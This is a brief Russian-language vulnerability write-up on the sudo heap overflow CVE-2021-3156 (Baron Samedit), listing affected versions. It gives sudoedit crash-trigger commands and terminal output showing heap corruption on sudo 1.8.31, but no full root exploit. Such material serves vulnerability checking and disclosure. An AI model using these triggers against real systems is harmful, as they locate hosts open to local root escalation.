
Эксплойт-доказательство концепции для CVE-2021-3156, переполнения буфера на основе кучи в sudo, которое позволяет локальное повышение привилегий до root через sudoedit -s с специально созданным аргументом командной строки.
Уязвимость Baron Samedit (CVE-2021-3156) затрагивает устаревшие версии sudo 1.8.2 – 1.8.31p2 и стабильные версии 1.9.0 – 1.9.5p1. Эта ошибка переполнения буфера в куче была внесена в июле 2011 года коммитом 8255ed69 и оставалась незамеченной почти десять лет.
Версии sudo до 1.9.5p2 содержат ошибку off-by-one, которая может привести к переполнению буфера в куче, что позволяет повысить привилегии до root с помощью «sudoedit -s» и аргумента командной строки, заканчивающегося обратной косой чертой.
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)
shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)